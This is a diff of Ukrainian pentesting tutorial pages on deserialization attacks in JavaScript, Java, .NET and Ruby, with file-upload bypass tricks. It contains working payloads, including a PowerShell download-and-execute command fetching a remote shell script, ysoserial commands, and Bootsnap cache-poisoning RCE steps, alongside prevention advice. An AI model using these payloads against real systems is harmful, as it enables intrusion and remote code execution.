**Десеріалізація**, навпаки, є процесом, який протидіє серіалізації. Вона передбачає взяття даних, які були структуровані в певному форматі, і відновлення їх назад в об'єкт.
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в бібліотеках python для yamls** і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
Наступна сторінка представляє техніку **зловживання небезпечним десеріалізацією в yamls** бібліотеках python і завершується інструментом, який можна використовувати для генерації RCE десеріалізаційного навантаження для **Pickle, PyYAML, jsonpickle та ruamel.yaml**:
{{#ref}}
python-yaml-deserialization.md
@ -169,7 +169,7 @@ python-yaml-deserialization.md
### JS Magic Functions
JS **не має "магічних" функцій** на кшталт PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
JS **не має "магічних" функцій**, як PHP або Python, які виконуються лише для створення об'єкта. Але має деякі **функції**, які **часто використовуються навіть без прямого виклику**, такі як **`toString`**, **`valueOf`**, **`toJSON`**.\
Якщо зловживати десеріалізацією, ви можете **компрометувати ці функції для виконання іншого коду** (потенційно зловживаючи забрудненням прототипу), ви могли б виконати довільний код, коли їх викликають.
Ще один **"магічний" спосіб викликати функцію** без прямого виклику - це **компрометація об'єкта, який повертається асинхронною функцією** (promise). Тому, якщо ви **перетворите** цей **об'єкт повернення** в інший **promise** з **властивістю** під назвою **"then" типу функція**, він буде **виконаний** лише тому, що його повертає інший promise. _Слідкуйте_ [_**за цим посиланням**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _для отримання додаткової інформації._
@ -198,7 +198,7 @@ test_then()
```
### `__proto__` та забруднення `prototype`
Якщо ви хочете дізнатися про цю техніку **перегляньте наступний посібник**:
Якщо ви хочете дізнатися про цю техніку **перегляньте наступний підручник**:
{{#ref}}
nodejs-proto-prototype-pollution/
@ -219,7 +219,7 @@ var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
```
Серіалізований об'єкт виглядатиме так:
**Серіалізований об'єкт** виглядатиме так:
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
@ -233,7 +233,7 @@ console.log("Serialized: \n" + payload_serialized)
Як ви можете бачити в останньому фрагменті коду, **якщо прапорець знайдено**, використовується `eval` для десеріалізації функції, тому в основному **вхідні дані користувача використовуються всередині функції `eval`**.
Однак, **просто серіалізувати** функцію **не виконає її**, оскільки необхідно, щоб якась частина коду **викликала `y.rce`** в нашому прикладі, і це вкрай **малоймовірно**.\
Однак, **просто серіалізувати** функцію **не виконає її**, оскільки необхідно, щоб якась частина коду **викликала `y.rce`** в нашому прикладі, і це малоймовірно.\
У будь-якому випадку, ви могли б просто **модифікувати серіалізований об'єкт**, **додавши деякі дужки**, щоб автоматично виконати серіалізовану функцію, коли об'єкт буде десеріалізовано.\
У наступному фрагменті коду **зверніть увагу на останні дужки** і як функція `unserialize` автоматично виконає код:
```javascript
@ -256,7 +256,7 @@ serialize.unserialize(test)
Помітним аспектом **funcster** є недоступність **стандартних вбудованих об'єктів**; вони виходять за межі доступної області. Це обмеження запобігає виконанню коду, який намагається викликати методи на вбудованих об'єктах, що призводить до виключень, таких як `"ReferenceError: console is not defined"` при використанні команд, таких як `console.log()` або `require(something)`.
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе через специфічний підхід. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити за допомогою наступного фрагмента:
Незважаючи на це обмеження, відновлення повного доступу до глобального контексту, включаючи всі стандартні вбудовані об'єкти, можливе через специфічний підхід. Використовуючи глобальний контекст безпосередньо, можна обійти це обмеження. Наприклад, доступ можна відновити, використовуючи наступний фрагмент:
```javascript
funcster = require("funcster")
//Serialization
@ -278,7 +278,7 @@ __js_function:
}
funcster.deepDeserialize(desertest3)
```
**Для**[ **більше інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
@ -304,7 +304,7 @@ deserialize(test)
```
**Для**[ **додаткової інформації прочитайте це джерело**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo бібліотека
### Cryo library
На наступних сторінках ви можете знайти інформацію про те, як зловживати цією бібліотекою для виконання довільних команд:
@ -317,7 +317,7 @@ deserialize(test)
### Відбитки
#### Білий ящик
#### White Box
Щоб виявити потенційні вразливості серіалізації в кодовій базі, шукайте:
@ -333,7 +333,7 @@ deserialize(test)
- `ObjectInputStream.readUnshared`.
- Загальне використання `Serializable`.
#### Чорний ящик
#### Black Box
Для тестування чорного ящика шукайте специфічні **підписи або "Magic Bytes"**, які позначають java серіалізовані об'єкти (походять з `ObjectInputStream`):
@ -342,7 +342,7 @@ deserialize(test)
- HTTP заголовки відповіді з `Content-type`, встановленим на `application/x-java-serialized-object`.
- Шістнадцятковий шаблон, що вказує на попереднє стиснення: `1F 8B 08 00`.
- Base64 шаблон, що вказує на попереднє стиснення: `H4sIA`.
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку повинно спонукати до перевірки, як детально описано в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
- Веб-файли з розширенням `.faces` та параметром `faces.ViewState`. Виявлення цих шаблонів у веб-додатку має спонукати до перевірки, як зазначено в [пості про десеріалізацію Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -359,33 +359,33 @@ grep -R InvokeTransformer .
```
Ви можете спробувати **перевірити всі бібліотеки**, які відомі як вразливі і для яких [**Ysoserial**](https://github.com/frohoff/ysoserial) може надати експлойт. Або ви можете перевірити бібліотеки, вказані на [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Ви також можете використовувати [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) для пошуку можливих ланцюгів гаджетів, які можна експлуатувати.\
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він генерує, і дайте йому закінчити. Він запише всі знахідки в _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
При запуску **gadgetinspector** (після його збірки) не звертайте уваги на безліч попереджень/помилок, які він проходить, і дайте йому закінчити. Він запише всі знахідки під _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Будь ласка, зверніть увагу, що **gadgetinspector не створить експлойт і може вказувати на хибнопозитивні результати**.
#### Тест чорного ящика
#### Чорний ящик
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете визначити **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
Використовуючи розширення Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), ви можете ідентифікувати **які бібліотеки доступні** (і навіть версії). З цією інформацією може бути **легше вибрати payload** для експлуатації вразливості.\
[**Прочитайте це, щоб дізнатися більше про GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe зосереджений на **`ObjectInputStream` десеріалізаціях**.
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **виявити вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\
Використовуючи розширення Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), ви можете **ідентифікувати вразливі бібліотеки**, які можна експлуатувати за допомогою ysoserial, і **експлуатувати** їх.\
[**Прочитайте це, щоб дізнатися більше про Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner зосереджений на **`ObjectInputStream`** десеріалізаціях.
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявляє **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він намагатиметься підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
Ви також можете використовувати [**Freddy**](https://github.com/nccgroup/freddy) для **виявлення вразливостей десеріалізації** в **Burp**. Цей плагін виявлятиме **не тільки вразливості, пов'язані з `ObjectInputStream`**, але **також** вразливості з бібліотек десеріалізації **Json** та **Yml**. В активному режимі він намагатиметься підтвердити їх, використовуючи payload'и на основі затримки або DNS.\
[**Ви можете знайти більше інформації про Freddy тут.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Тест серіалізації**
**Тест на серіалізацію**
Не все зводиться до перевірки, чи використовується якась вразлива бібліотека сервером. Іноді ви можете **змінити дані всередині серіалізованого об'єкта і обійти деякі перевірки** (можливо, надати собі адміністративні привілеї в веб-додатку).\
Якщо ви знайдете серіалізований об'єкт Java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
Якщо ви знайдете серіалізований об'єкт java, що надсилається до веб-додатку, **ви можете використовувати** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **для виведення в більш зрозумілому форматі серіалізованого об'єкта, що надсилається**. Знаючи, які дані ви надсилаєте, буде легше їх змінити і обійти деякі перевірки.
### **Експлойт**
#### **ysoserial**
Основний інструмент для експлуатації десеріалізацій Java - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з конвеєрами).\
Основний інструмент для експлуатації Java десеріалізацій - це [**ysoserial**](https://github.com/frohoff/ysoserial) ([**скачати тут**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Ви також можете розглянути можливість використання [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified), що дозволить вам використовувати складні команди (наприклад, з пайпами).\
Зверніть увагу, що цей інструмент **зосереджений** на експлуатації **`ObjectInputStream`**.\
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload може працювати.
Я б **почав використовувати payload "URLDNS"** **перед RCE** payload, щоб перевірити, чи можлива ін'єкція. У будь-якому випадку, зверніть увагу, що, можливо, payload "URLDNS" не працює, але інший RCE payload працює.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -432,7 +432,7 @@ base64 -w0 payload
```
Коли ви створюєте payload для **java.lang.Runtime.exec()**, ви **не можете використовувати спеціальні символи** такі як ">" або "|" для перенаправлення виходу виконання, "$()" для виконання команд або навіть **передавати аргументи** команді, розділені **пробілами** (ви можете зробити `echo -n "hello world"`, але не можете зробити `python2 -c 'print "Hello world"'`). Щоб правильно закодувати payload, ви можете [використати цю веб-сторінку](http://www.jackson-t.ca/runtime-exec-payloads.html).
Не соромтеся використовувати наступний скрипт для створення **всіх можливих payload** для виконання коду на Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:
Не соромтеся використовувати наступний скрипт для створення **всіх можливих payload для виконання коду** для Windows і Linux, а потім протестуйте їх на вразливій веб-сторінці:
```python
import os
import base64
@ -459,7 +459,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
#### marshalsec
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації пейлоадів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
[**marshalsec** ](https://github.com/mbechler/marshalsec)може бути використаний для генерації payload'ів для експлуатації різних **Json** та **Yml** бібліотек серіалізації в Java.\
Щоб скомпілювати проект, мені потрібно було **додати** ці **залежності** до `pom.xml`:
```html
<dependency>
@ -493,10 +493,10 @@ mvn clean package -DskipTests
Java використовує багато серіалізації для різних цілей, таких як:
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, cookies тощо.
- **RMI (Remote Method Invocation)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
- **HTTP запити**: Серіалізація широко використовується в управлінні параметрами, ViewState, куками тощо.
- **RMI (Віддалений виклик методів)**: Протокол Java RMI, який повністю покладається на серіалізацію, є основою для віддаленого зв'язку в Java-додатках.
- **RMI через HTTP**: Цей метод зазвичай використовується Java-додатками з товстим клієнтом, використовуючи серіалізацію для всіх об'єктних комунікацій.
- **JMX (Java Management Extensions)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
- **JMX (Розширення управління Java)**: JMX використовує серіалізацію для передачі об'єктів через мережу.
- **Користувацькі протоколи**: У Java стандартною практикою є передача сирих Java-об'єктів, що буде продемонстровано в наступних прикладах експлуатації.
### Prevention
@ -520,7 +520,7 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Покращення безпеки десеріалізації в Java**
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення безпеки процесів десеріалізації. Цей метод підходить, коли:
**Налаштування `java.io.ObjectInputStream`** є практичним підходом для забезпечення процесів десеріалізації. Цей метод підходить, коли:
- Код десеріалізації знаходиться під вашим контролем.
- Відомі класи, які очікуються для десеріалізації.
@ -581,11 +581,11 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- Доповідь про gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) та слайди: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
- Стаття Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- Паперова робота Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- Десеріалізація Java та .Net JSON **стаття:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Java та .Net JSON десеріалізація **паперова робота:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** доповідь: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) та слайди: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- CVE десеріалізацій: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатку бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java Message Service** (**JMS**) API є Java API для обміну повідомленнями між двома або більше клієнтами. Це реалізація для вирішення проблеми виробника-споживача. JMS є частиною Java Platform, Enterprise Edition (Java EE) і була визначена специфікацією, розробленою в Sun Microsystems, але з тих пір керується Java Community Process. Це стандарт обміну повідомленнями, який дозволяє компонентам додатків на основі Java EE створювати, надсилати, отримувати та читати повідомлення. Це дозволяє зв'язку між різними компонентами розподіленого додатка бути слабо пов'язаним, надійним і асинхронним. (З [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Продукти
@ -615,7 +615,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
Вам слід пам'ятати, що навіть якщо сервіс вразливий (оскільки він небезпечно десеріалізує вхідні дані користувача), вам все ще потрібно знайти дійсні гаджети для експлуатації вразливості.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатку.
Інструмент [JMET](https://github.com/matthiaskaiser/jmet) був створений для **підключення та атаки на ці сервіси, надсилаючи кілька шкідливих об'єктів, серіалізованих за допомогою відомих гаджетів**. Ці експлойти працюватимуть, якщо сервіс все ще вразливий і якщо будь-який з використаних гаджетів знаходиться всередині вразливого додатка.
### Посилання
@ -647,18 +647,18 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
Якщо ви хочете дізнатися, **як ysoserial.net створює свій експлойт**, ви можете [**перевірити цю сторінку, де пояснюється гаджет ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Основні опції **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
Основні параметри **ysoserial.net**: **`--gadget`**, **`--formatter`**, **`--output`** та **`--plugin`.**
- **`--gadget`** використовується для вказівки гаджета, який потрібно зловживати (вказати клас/функцію, яка буде зловживатися під час десеріалізації для виконання команд).
- **`--formatter`**, використовується для вказівки методу для серіалізації експлойту (вам потрібно знати, яка бібліотека використовується на сервері для десеріалізації корисного навантаження, і використовувати ту ж саму для серіалізації).
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому, якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
- **`--output`** використовується для вказівки, чи хочете ви експлойт у **сирому** або **base64** закодованому вигляді. _Зверніть увагу, що **ysoserial.net** буде **кодувати** корисне навантаження, використовуючи **UTF-16LE** (кодування, що використовується за замовчуванням у Windows), тому якщо ви отримаєте сирий і просто закодуєте його з консолі Linux, ви можете зіткнутися з деякими **проблемами сумісності кодування**, які завадять експлойту працювати належним чином (в HTB JSON box корисне навантаження працювало як в UTF-16LE, так і в ASCII, але це не означає, що воно завжди буде працювати)._
- **`--plugin`** ysoserial.net підтримує плагіни для створення **експлойтів для конкретних фреймворків**, таких як ViewState.
#### Більше параметрів ysoserial.net
- `--minify` надасть **менше корисне навантаження** (якщо це можливо)
- `--raf -f Json.Net -c "anything"` Це вказуватиме всі гаджети, які можна використовувати з наданим форматором (`Json.Net` у цьому випадку)
- `--sf xml` ви можете **вказати гаджет** (`-g`), і ysoserial.net шукатиме формати, що містять "xml" (без урахування регістру)
- `--sf xml` ви можете **вказати гаджет** (`-g`) і ysoserial.net буде шукати формати, що містять "xml" (незалежно від регістру)
**Приклади ysoserial** для створення експлойтів:
```bash
@ -678,7 +678,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** має також **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен експлойт: `--test`\
**ysoserial.net** також має **дуже цікавий параметр**, який допомагає краще зрозуміти, як працює кожен експлойт: `--test`\
Якщо ви вкажете цей параметр, **ysoserial.net** **спробує** **експлойт локально,** щоб ви могли перевірити, чи ваш payload працюватиме правильно.\
Цей параметр корисний, оскільки, якщо ви переглянете код, ви знайдете шматки коду, подібні до наступного (з [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
@ -720,8 +720,8 @@ return obj;
- **Для `JSON.Net` встановіть `TypeNameHandling` на `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Уникайте використання `JavaScriptSerializer` з `JavaScriptTypeResolver`.**
- **Обмежте типи, які можуть бути десеріалізовані**, розуміючи вроджені ризики з типами .Net, такими як `System.IO.FileInfo`, які можуть змінювати властивості файлів сервера, що потенційно призводить до атак відмови в обслуговуванні.
- **Будьте обережні з типами, що мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
- **Безпечно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Будьте обережні з типами, які мають ризиковані властивості**, такими як `System.ComponentModel.DataAnnotations.ValidationException` з його властивістю `Value`, яка може бути експлуатована.
- **Надійно контролюйте інстанціювання типів**, щоб запобігти впливу зловмисників на процес десеріалізації, що робить навіть `DataContractSerializer` або `XmlSerializer` вразливими.
- **Впровадьте контролі білого списку** за допомогою кастомного `SerializationBinder` для `BinaryFormatter` та `JSON.Net`.
- **Будьте в курсі відомих небезпечних гаджетів десеріалізації** в .Net і переконайтеся, що десеріалізатори не інстанціюють такі типи.
- **Ізолюйте потенційно ризикований код** від коду з доступом до Інтернету, щоб уникнути експонування відомих гаджетів, таких як `System.Windows.Data.ObjectDataProvider` в WPF додатках, до ненадійних джерел даних.
@ -860,7 +860,7 @@ candidate_methods.length() # Final number of methods=> 3595
### Інші бібліотеки
Ця техніка була взята [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Цю техніку було взято [**з цього блогу**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
@ -924,4 +924,40 @@ Oj.load(json_payload)
```
Перевірте більше деталей у [**оригінальному пості**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
Це не зовсім вразливість десеріалізації, але гарний трюк для зловживання кешуванням Bootstrap, щоб отримати RCE з Rails-додатку з довільним записом файлів (знайдіть повний [оригінальний пост тут](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Нижче наведено короткий підсумок кроків, детально описаних у статті для експлуатації вразливості довільного запису файлів шляхом зловживання кешуванням Bootsnap:
- Визначте вразливість і середовище
Функціональність завантаження файлів у Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати у каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
- Зрозумійте механізм кешування Bootsnap
Bootsnap прискорює час завантаження Rails, кешуючи скомпільований Ruby-код, YAML та JSON файли. Він зберігає кеш-файли, які містять заголовок кеш-ключа (з полями, такими як версія Ruby, розмір файлу, mtime, параметри компіляції тощо), за яким слідує скомпільований код. Цей заголовок використовується для перевірки кешу під час запуску додатку.
- Зберіть метадані файлу
Зловмисник спочатку вибирає цільовий файл, який, ймовірно, завантажується під час запуску Rails (наприклад, set.rb з стандартної бібліотеки Ruby). Виконавши Ruby-код всередині контейнера, вони витягують критично важливі метадані (такі як RUBY_VERSION, RUBY_REVISION, розмір, mtime та compile_option). Ці дані є важливими для створення дійсного кеш-ключа.
- Обчисліть шлях до кеш-файлу
Відтворивши механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де Bootsnap його очікує (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
- Створіть шкідливий кеш-файл
Зловмисник готує корисне навантаження, яке:
- Виконує довільні команди (наприклад, виконує id для відображення інформації про процес).
- Видаляє шкідливий кеш після виконання, щоб запобігти рекурсивній експлуатації.
- Завантажує оригінальний файл (наприклад, set.rb), щоб уникнути збоїв у додатку.
Це корисне навантаження компілюється в бінарний Ruby-код і конкатенується з ретельно складеним заголовком кеш-ключа (використовуючи раніше зібрані метадані та правильний номер версії для Bootsnap).
- Перезаписати та запустити виконання
Використовуючи вразливість довільного запису файлів, зловмисник записує підготовлений кеш-файл у обчислене місце. Далі вони ініціюють перезапуск сервера (записуючи в tmp/restart.txt, який контролюється Puma). Під час перезапуску, коли Rails вимагає цільовий файл, завантажується шкідливий кеш-файл, що призводить до віддаленого виконання коду (RCE).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульових** байтів) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульові** байти) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -77,11 +77,11 @@ AAA<--SNIP 232 A-->AAA.php.png
### Other Tricks to check
- Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion**, щоб виконати бекдор.
- Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
- **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
1. Завантажте **декілька разів** (і в **один і той же час**) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
